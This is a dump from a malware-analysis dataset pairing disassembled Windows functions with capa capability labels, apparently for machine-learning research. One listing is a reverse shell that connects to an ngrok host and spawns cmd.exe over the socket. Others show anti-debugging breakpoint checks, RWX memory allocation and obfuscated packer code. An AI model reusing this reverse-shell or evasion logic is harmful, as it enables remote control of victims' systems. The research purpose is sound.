joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180039e30
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x90], 0x40000000
jbe 0x180039e91
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
cmp qword [rsp + 0x30], rax
jae 0x180039e91
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
cmp qword [rsp + 0x28], rax
jbe 0x180039eb9
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
sub rax, 0xfff
mov qword [rsp + 0x28], rax
mov rax, qword [0x180091690]
mov qword [rsp + 0x20], rax
jmp 0x180039ee4
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180039f1e
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x20], rax
jb 0x180039f04
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x20], rax
jb 0x180039f06
jmp 0x180039ed7
mov rax, qword [rsp + 0x20]
cmp qword [rax + 8], 0
je 0x180039f1c
mov rax, qword [rsp + 0x20]
jmp 0x18003a090
jmp 0x180039ed7
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jb 0x180039f87
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.180039c30
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x180039f5a
jmp 0x180039f87
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180039f85
jmp 0x180039f87
jmp 0x180039f2b
cmp qword [rsp + 0x20], 0
jne 0x180039ff8
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x40], rax
ja 0x180039ff8
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call fcn.180039d10
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180039fcb
jmp 0x180039ff8
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180039ff6
jmp 0x180039ff8
jmp 0x180039f9c
cmp qword [rsp + 0x20], 0
je 0x18003a08b
mov rax, qword [rsp + 0x20]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x20]
mov dword [rax + 0x10], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x20]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x48]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
cmp rax, 0xfc0
jbe 0x18003a02b
mov rax, qword [rsp + 0x20]
mov rcx, qword [0x180091690]
mov qword [rax], rcx
mov rax, qword [rsp + 0x20]
mov qword [0x180091690], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x88
ret
Function at 0x18003a830
Capabilities:
Check for software breakpoints

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
test eax, eax
je 0x18003a889
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0x90
je 0x18003a889
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
cmp eax, 0xcc
je 0x18003a889
xor eax, eax
jmp 0x18003a8d0
mov dword [rsp], 1
jmp 0x18003a89a
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp], eax
jae 0x18003a8cb
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, 1
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x20]
movzx ecx, byte [rdx + rcx]
cmp eax, ecx
je 0x18003a8c9
xor eax, eax
jmp 0x18003a8d0
jmp 0x18003a892
mov eax, 1
add rsp, 0x18
ret
Function at 0x18003be84
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18003bebe
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18003bec3
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18003bf0c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x180040870]
cmp byte [rcx + rax], 0
je 0x18003bf0c
dec r8
sub rdx, 1
jne 0x18003bef2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140003638
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x20]
lea rcx, [0x140001250]
mov r8d, 0x40
mov byte [0x14000deae], 1
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x1400036ab
movzx ecx, word [rsp + 0x20]
lea r8, [rsp + 0x20]
test ecx, ecx
je 0x1400036a9
mov r9d, dword [0x14000e0c0]
and ecx, 0x1f
lea r8, [r8 + 2]
mov edx, 1
shl edx, cl
movzx ecx, word [r8]
or r9d, edx
test ecx, ecx
jne 0x140003689
mov dword [0x14000e0c0], r9d
mov al, 1
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14000a8a0
add rsp, 0xb8
ret

Function at 0x140005f90
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x7c0]
sub rsp, 0x8c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov edi, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor r14d, r14d
cmp dword [0x14000c024], 0xffffffff
mov ebx, eax
jne 0x140006089
lea rax, [rsp + 0x30]
lea rdx, [0x140001480]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [0x14000c024], r14d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], r14
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140006089
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x50]
lea rdx, [0x1400014e0]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x48], 0x28
mov dword [rsp + 0x38], 0x50
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000606c
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
and ecx, 3
mov dword [0x14000c024], ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x48], 0x28
jle 0x140006089
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [0x14000c024]
and eax, 3
test al, al
je 0x1400060ec
lea rcx, [rbp - 0x5e]
xor edx, edx
mov r8d, 0x800
mov word [rbp - 0x60], r14w
call sub.msvcrt.dll_memset
mov edx, 0x401
lea rcx, [rbp - 0x60]
test edi, edi
je 0x1400060cf
lea r8, [0x1400014f0]
mov r9d, edi
mov qword [rsp + 0x20], rsi
call fcn.1400028f0
jmp 0x1400060de
lea r8, [0x140001518]
mov r9, rsi
call fcn.1400028f0
test eax, eax
js 0x1400060ec
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.14000a8a0
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140006a94
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
js 0x140006ae9
cmp al, 6
jb 0x140006ae9
lea rcx, [0x140001638]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006ae9
lea rdx, [0x140001658]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140006ae9
mov rcx, rax
call qword [0x140010418]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call rbx
add rsp, 0x20
pop rbx
ret
Function at 0x140008a88
Capabilities:
Block operations on executable memory pages using arbitrary code guard
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rax - 0x10], 8
mov dword [rax - 0xc], 0x20
and dword [rax - 0x14], 0
mov rbx, qword [0x14000c068]
mov rcx, rbx
call qword [0x140010418]
lea rcx, [rsp + 0x28]
call rbx
and dword [rsp + 0x20], 0
mov dword [rsp + 0x20], 1
mov r8d, 4
lea rdx, [rsp + 0x20]
lea ecx, [r8 + 0xc]
call qword [sym.imp.KERNEL32.dll_SetProcessMitigationPolicy]
mov rcx, rdi
call fcn.140006af8
mov ebx, eax
mov dword [rsp + 0x24], eax
jmp 0x140008af6
call fcn.14000a174
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x14000a180
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x22]
xor edi, edi
xor edx, edx
mov r8d, 0x208
mov word [rsp + 0x20], di
call sub.msvcrt.dll_memset
lea ebp, [rdi + 0x5c]
test rbx, rbx
je 0x14000a1f8
cmp word [rbx], di
je 0x14000a1f8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jl 0x14000a1f8
cmp word [rbx], 0x7f
jae 0x14000a1ed
cmp word [rbx + 2], 0x3a
je 0x14000a25a
cmp word [rbx], bp
jne 0x14000a1f8
cmp word [rbx + 2], bp
je 0x14000a25a
mov esi, 0x105
lea rcx, [rsp + 0x20]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000a25a
lea ecx, [rax + 2]
cmp ecx, esi
ja 0x14000a25a
mov ecx, eax
inc eax
mov r8, rbx
mov word [rsp + rcx*2 + 0x20], bp
lea rcx, [rsp + 0x20]
mov edx, esi
mov word [rsp + rax*2 + 0x20], di
call fcn.1400027ac
test eax, eax
js 0x14000a25a
lea r8, [0x140002438]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.1400027ac
test eax, eax
js 0x14000a25a
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x14000a25c
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14000a8a0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14000a988
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x14000ad4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000ad98
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000ad90
cmp dword [rcx + 0x3c], edx
jl 0x14000ad90
cmp dword [rcx + 0x3c], 0x10000000
jae 0x14000ad90
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000ad98
mov rax, rdx
add rsp, 0x18
ret
Function at 0x14000aef4
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [section..data]
and qword [rbp + 0x18], 0
movabs rbx, 0x2b992ddfa232
cmp rax, rbx
jne 0x14000afaf
lea rcx, [rbp + 0x18]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
xor qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, eax
xor qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
shl rax, 0x18
xor qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp + 0x10]
mov eax, eax
xor rax, qword [rbp + 0x10]
xor rax, rcx
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x10], rax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rbp + 0x20]
shl rax, 0x20
movabs rcx, 0xffffffffffff
xor rax, qword [rbp + 0x20]
xor rax, qword [rbp + 0x10]
and rax, rcx
movabs rcx, 0x2b992ddfa233
cmp rax, rbx
cmove rax, rcx
mov qword [section..data], rax
mov rbx, qword [rsp + 0x48]
not rax
mov qword [0x14000c008], rax
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Initialize winsock library
Resolve dns

Disassembly:
sub rsp, 0x4a8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x490], rax
mov ecx, 0x202
lea rdx, [rsp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000104d
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.140001210
add rsp, 0x4a8
ret
mov qword [rsp + 0x4b0], rbx
lea rcx, str.0.tcp.eu.ngrok.io
mov qword [rsp + 0x4a0], rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, qword [rax + 0x18]
mov rcx, qword [rdx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x10
lea rcx, str.0.tcp.eu.ngrok.io
mov r8, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, str.0.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x14000408c]
mov dword [rsp + 0xc4], eax
call qword [sym.imp.WS2_32.dll_htons]
mov ecx, 2
xor edi, edi
xor r9d, r9d
mov word [rsp + 0xc2], ax
mov dword [rsp + 0x28], edi
mov word [rsp + 0xc0], cx
lea edx, [rcx - 1]
mov dword [rsp + 0x20], edi
lea r8d, [rcx + 4]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 0x10]
mov rcx, rax
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0xc0]
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAConnect]
test eax, eax
je 0x140001114
lea eax, [rdi - 2]
jmp 0x1400011d2
xorps xmm0, xmm0
mov qword [rsp + 0xb0], rbx
movups xmmword [rsp + 0xa0], xmm0
xor edx, edx
mov r8d, 0x1ee
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x2a0]
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x8c], 0x101
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0xa8], rbx
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0xa0], rbx
movups xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [str.cmd.exe]
movaps xmmword [rsp + 0x290], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0xd0]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x290]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
mov rbx, qword [rsp + 0x4b0]
mov rdi, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.140001210
add rsp, 0x4a8
ret

Function at 0x140001b0c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b56
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b56
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b56
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b56
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b56
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b58
xor al, al
add rsp, 0x28
ret
Function at 0x1406c5de2
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
not dword [rsp + 0x48]
or ecx, dword [rsp + 0x4a]
neg word [rsp + 0x38]
neg dl
jl 0x140b2f6fa
add qword [rsp + 0x20], 0xffffffffbf343fb5
push r12
push r8
add qword [rsp + 0x10], 0xffffffffffb6b97a
mov qword [rsp + 0x30], 0xffffffffd7fff089
xor r9, rbp
test r9, r9
movabs r9, 0x4bae270850d47594
push r14
movsx r9w, bpl
push r9
push rsi
movabs r8, 0x3851005a08af1e10
push rcx
mov r12, qword [rsp + 0x10]
push rdi
mov rdi, r8
mov r14, rdi
push r13
jo 0x140b5a634
add di, r14w
mov rsi, qword [rsp + 0x20]
neg r14w
push 0x3dbb624b
movsxd rbp, dword [rsp + 0x28]
push rsi
add r8, 0x5c034799
test r12w, di
call fcn.1406b4a22

Function at 0x140ac7833
Capabilities:
Encode data using xor

Disassembly:
not word [rsp + 0x38]
and qword [rsp + 0x38], rcx
xor dword [rsp + 0x38], r14d
mov r14, qword [rsp + 0x40]
or cl, ch
lea rbp, [rcx + rcx*4 + 0x701d6575]
not byte [rsp + 0x38]
neg rcx
and bp, 0x3c42
setle bpl
lea rbp, [rcx*2 + 0x874f01]
add qword [rsp + 0x38], 0x2e551093
not cx
xor cx, word [rsp + 0x3d]
jle 0x140ac7838
add qword [rsp], 0x1166ca
lea rcx, [rbp + rbp*2 + 0x2f050cc1]
lea rbp, [rcx + rcx*2 + 0x7ed91be5]
movsx ebp, bpl
mov word [rsp + 0x38], 0x69d9
call fcn.140baad02

Function at 0x140ac915f
Capabilities:
Encode data using xor

Disassembly:
pushfq
test esi, 0x442677ca
push rbp
call fcn.140ad0e08
xchg ebx, eax
imul esp, dword [rsi], 0xffffffcb
adc esi, dword [rcx + 0xce3ca6]
movabs al, byte [0xce3d8b333d31c53d]
mov ch, byte [rsi]
xor ecx, dword [rbx + 0x2e8ace3d]
in eax, dx
or ecx, esi
adc ecx, esp
pop rsp
and eax, 0xc17115ce
sal dword [rcx], cl
je 0x140ac917b
invalid

Function at 0x140ac935f
Capabilities:
Encode data using xor

Disassembly:
setne r11b
neg r11w
mov r11, qword [rsp + 0x10]
call fcn.140c559bc
push qword [rsp + 0x40]
popfq
lea rsp, [rsp + 0x48]
call fcn.140cc7b80
pushfq
invalid

Function at 0x140ad89d5
Capabilities:
Encode data using xor

Disassembly:
and qword [rsp + 8], 0x1501480b
mov si, word [rsp + 8]
add qword [rsp], 0xffffffffffbe093b
or dx, si
sub qword [rsp + 8], 0xf400db1
sub r14, 0x61321363
sub r11b, bpl
neg sil
mov r14, qword [rsp + 0x30]
not sil
xor qword [rsp + 8], rdx
add r11w, word [rsp + 8]
sete dl
jo 0x140ad89ff
sete sil
not dl
lea r11, [r11 + rbp*8 + 0x791d48ce]
jg 0x140b1d742
popfq
call fcn.140c68ab2

Function at 0x140b23ad0
Capabilities:
Encode data using xor

Disassembly:
not r9w
jne 0x140ac38b7
mov r9, qword [rsp + 0x18]
jne 0x140cbc23e
xor r13b, 0xd8
xor r13b, byte [rsp + 0x27]
neg r13b
xor r13, qword [rsp + 0x20]
je 0x140b23ae5
lea rcx, [r13*4 + 0x75d127d2]
add qword [rsp], 0xffffffffffba7113
cmp di, r15w
movsx r15w, byte [rsp + 0x26]
call fcn.140ac389a
Function at 0x140b2f6a7
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
not qword [rsp + 0x40]
jne 0x140b2f634
not rdi
and dil, 0xb2
push r14
push rbx
cmovl r11, rdi
mov rbx, rdi
and r11, rdi
not r11d
jne 0x140b61a8b
call fcn.140b09da6
test r14, 0x5f27462a
jl 0x140b25a3d
xor dword [rsp + 0x40], 0x4bf2045d
setle r14b
xor word [rsp + 0x40], r14w
test dword [rsp + 0x40], r14d
sete r14b
movsx r14w, r14w
cmp word [rsp + 0x40], r14w
sete r14b
add r14w, 0xb1a
lea r14, [r14 + 0x1a180ede]
or r14w, word [rsp + 0x43]
cmp r14d, dword [rsp + 0x40]
mov r14, qword [rsp + 0x30]
mov byte [rsp + 0x40], 0xcd
mov dword [rsp + 0x40], 0x52913306
call fcn.140696ccb
mov ecx, 0xc3204af3
or al, 0xfb
jo 0x140b2f6f1
xor rax, 0x30800fde
add eax, 0x44814800
and al, 0
invalid
insb byte [rdi], dx
and al, 0x20
lea rsp, [rsp + 0x48]
ret

Function at 0x140b7f4d7
Capabilities:
Encode data using xor

Disassembly:
lea r11, [rbx*2 + 0x7c421bf9]
mov r8, r9
js 0x140cbc104
movzx r12d, r8b
and r8b, 0xac
test r12, r9
call fcn.140b90790
test word [rsp + 0x18], 0x5ec7
mov word [rsp + 0x18], bx
jae 0x140b21c79
setno r9b
movabs r13, 0x18f62e3f5ccb20a0
xor dil, r12b
movabs r14, 0x7c3d686f632e4b9e
cmp r9b, dil
push r8
bswap r13d
jbe 0x140c74dc0
movabs r12, 0x6f12079172be5a6d
jg 0x140b419b8
not r13w
mov r12, qword [rsp + 0x50]
mov qword [rsp + 0x50], 0x6264fe8b
push r15
and r13, rdi
add qword [rsp + 0x10], 0x404920
call fcn.140b2d372

Function at 0x140b80101
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
lea r10, [r12 + 0x5e53764a]
mov r8, qword [rsp + 0x48]
lea rdx, [r12*2 + 0x422a697b]
neg r10b
cmp r10, 0x68f55b78
lea r10, [r11 + r11*4 + 0x1bf157ef]
je 0x1406a2cb3
test r11d, edx
movsx r11w, byte [rsp + 0x2a]
sete r12b
cmp r12, r10
lea rbx, [r11 + rcx*4 + 0x5ea70391]
mov word [rsp + 0x40], 0x4c1c
jne 0x1406a2c84
invalid

Function at 0x140b8fcf3
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
push r9
movabs r9, 0x5c5f78993f2a77ab
sub r9b, 0xac
sub r9d, 0x1d3e1b5c
lea r9, [r9 + 0x770b5934]
test r9b, 0x43
push rbx
push r11
bswap r9d
push rdi
push r13
call fcn.140c58f79
and ch, byte [rsi - 0x3dc4991e]
cmp al, 0xe1
jo 0x140b8fd4f
push rdi
sbb byte [rbx + 0x52cf36ff], bh
or byte [rsi + 0x4a95e981], ch
sub ecx, 0xc74a95
push rdi
mov rdi, rcx
bswap edi
sub dil, 0xce
test ecx, 0x41360e31
push r9
mov r9, rcx
movabs rcx, 0x1097558259db38f2
bswap rdi
setge r9b
neg dil
test rdi, r9
mov edi, 0x4e425d4
push r14
push qword [rsp + 0x28]
popfq
mov qword [rsp + 0x28], 0xfffffffffd14abf2
pushfq
movabs r14, 0x341c535a595d388e
push rcx
push r8
cmp r9w, 0x479b
lea r14, [rcx*4 + 0x366f2c93]
lea esi, [rcx*4 + 0x366f2c93]
mov r8, qword [rsp + 8]
ja 0x140cad791
test dl, al
sbb byte [r9], spl
invalid

Function at 0x140b929e7
Capabilities:
Encode data using base64
Encrypt data using speck

Disassembly:
bswap r13
mov rbp, qword [rsp + 0x50]
lea r10, [r13*8 + 0x1d1466ec]
call fcn.140c78007

Function at 0x140ba8a49
Capabilities:
Encode data using xor

Disassembly:
bswap r10d
not bx
bswap rbx
jbe 0x14068eb19
Function at 0x140c69eaf
Capabilities:
Encode data using xor

Disassembly:
or r12d, dword [rsp + 0x40]
cmovb bx, r12w
bswap r9
sub r11, r12
mov rcx, qword [rsp + 0x40]
not r12w
xor dx, 0x5d17
sub bl, r9b
add qword [rsp + 0x28], 0xfffffffffff8a7b7
or r11b, byte [rsp + 0x41]
or r12d, 0x15fd23f6
mov rcx, qword [rsp + 0x40]
setne r9b
add bl, byte [rsp + 0x43]
lea r9, [rdx*4 + 0x286c2896]
lea r9, [r9 + rdx + 0x300d7b7a]
mov r9, qword [rsp + 0x18]
mov cl, 0x1c
mov bl, byte [rsp + 0x45]
seto r12b
call fcn.140b1c0b2
pushfq
push 0x606620ed
call fcn.140b9c4ec
in eax, 0x21
mov cl, byte [rbp - 0x30]
invalid
and dx, word [rsp + 0x45]
movsx ebx, r11b
jle 0x140b6cc6d

Function at 0x140c76765
Capabilities:
Encode data using add xor sub operations

Disassembly:
push r14
mov rdx, qword [rsp + 0x28]
push r11
movabs r11, 0x4d3208693fea1fab
xor r11d, dword [rsp + 0x32]
push rsi
xor r9w, 0x6a6b
neg r11b
pop rbx
mov rcx, rsi
xor r9, r11
and r11d, dword [rsp + 0x30]
mov r14, rdx
push r14
mov rbx, qword [rsp + 0x30]
xor byte [rsp + 0x38], ch
movzx r9w, r11b
sub esi, r11d
mov rcx, qword [rsp + 0x28]
push qword [rsp + 0x20]
popfq
mov rdx, qword [rsp + 0x18]
mov r14, qword [rsp + 0x10]
mov r11, qword [rsp + 8]
lea rsp, [rsp + 0x40]
ret
scasd eax, dword [rdi]
lodsb al, byte [rsi]
or byte [rax], al
bswap r9
neg r9
call fcn.140ab86ce
and dword [rsi - 0x3cdfb106], ebp
or bh, bh
jl 0x140b28fbd
push rdi
invalid
push rbx
call fcn.140b981d5
call fcn.140b18028
call fcn.140c6c1ee
mov edi, 0x8e321d70
mov esi, 0x9ab21234
mov dl, 0x9a
invalid
or eax, 0xe088cf8e
int 0xdc
invalid
cdq
loopne 0x140b28f4d
add edi, dword [rdx]
ficomp dword [rbx]
jb 0x140b28f89
push rdx
test dword [rax], edx
jb 0x140b28fab
push rbx
call 0x102149db7
cli
loopne 0x140b28fa1
je 0x140b2904e
sbb dword [rcx], edx
mov dl, 0x9c
push rax
sbb ch, al
or eax, 0xe762e4be
or eax, 0xe3a5c170
int 0x96
jae 0x140b2901b
sbb byte [rdx], dh
sbb al, 0x66
mov cl, 0xe3
or eax, 0xe3b434e2
invalid
mov esp, 0xd8c59585
imul edi, dword [rbp - 0x6d], 0xffffffb8
mov edx, 0xe11735fa
scasd eax, dword [rdi]
pop rsi
invalid
movhps qword [rdx - 0x7c], xmm3
pop rax
xchg byte [rcx - 0x7fade0c6], dh
movsd dword [rdi], dword [rsi]
iretd
mov dword [rsp + 0x68], r12d
lea rcx, [rcx + r12 + 0x16f8330e]
mov rcx, qword [rsp + 0x48]
movzx r12d, r12w
